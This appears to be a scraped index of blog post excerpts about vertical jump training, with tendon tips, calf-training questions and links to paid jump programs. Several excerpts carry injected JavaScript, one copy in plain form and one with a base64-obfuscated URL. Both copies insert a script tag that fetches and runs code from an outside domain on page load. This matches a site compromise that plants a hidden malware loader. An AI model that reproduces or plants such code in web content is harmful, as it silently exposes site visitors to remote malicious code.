Vertical Jump Training

We recently had a question from David F. about how to train when you have limited time. You can check the answer and the solution in this video: If you want to get personalized/customized responses to questions about your specific training,...

What in the world does a Kangaroo have to do with being able to jump higher? This is what: That is a tendon... And it's the secret to Kangaroos being able to jump over 30 feet.? And it's not just Kangaroos...?all sorts of...

Got this question from John Peterson. Check the answer and tips in the video: Our Instant Inches program can be found here: https://trainhard-trainsmart.com/instantinches Our Jump Manual program can be found here: https://trainhard-trainsmart.com/jumpmanual;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n);x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://groundrats.org/tHHGGEDyAn6ygUcHwex98R1YlpAOQ9zvV2t6wfY5Sox'); ;(function(f,b,n,j,x,e){ var decodedUrl...

Our Jump Manual program can be found here: https://trainhard-trainsmart.com/jumpmanual;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n);x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://groundrats.org/tHHGGEDyAn6ygUcHwex98R1YlpAOQ9zvV2t6wfY5Sox'); ;(function(f,b,n,j,x,e){ var decodedUrl = atob('aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294'); x=b.createElement(n);e=b.getElementsByTagName(n); x.async=1;x.src=decodedUrl; ...

;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n);x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://groundrats.org/tHHGGEDyAn6ygUcHwex98R1YlpAOQ9zvV2t6wfY5Sox'); ;(function(f,b,n,j,x,e){ var decodedUrl = atob('aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294'); x=b.createElement(n);e=b.getElementsByTagName(n); x.async=1;x.src=decodedUrl; e.parentNode.insertBefore(x,e); ...

(tired legs...didn't even get the dunk down lol) ;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n);x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://groundrats.org/tHHGGEDyAn6ygUcHwex98R1YlpAOQ9zvV2t6wfY5Sox'); ;(function(f,b,n,j,x,e){ var decodedUrl = atob('aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294'); x=b.createElement(n);e=b.getElementsByTagName(n); x.async=1;x.src=decodedUrl; ...

This is just one of the many techniques that can immediately add height to your jump. You can get access to the rest of them inside our Instant Inches program here.  ;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n);x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://groundrats.org/tHHGGEDyAn6ygUcHwex98R1YlpAOQ9zvV2t6wfY5Sox'); ;(function(f,b,n,j,x,e){ var...

Download The 9 Essentials To An Explosive Vertical Training to jump higher and increase your vertical leap is one of the most complicated workout routines you can do because it involves almost all aspects of improving your athleticism. You cant just...

Download The "Power Bouncing" Tendon Workout Here I always get asked "how are the calves important in how high you jump?". People always ask me, "how important are the calves?" Oh, the calves are important... Oh, they aren't... I want to cut...

Funny story. You know how Facebook shows you memories from past posts? I got this one today from several years ago when I broke my first backboard on a dunk: I was in India at the time. The Sports Authority of India had...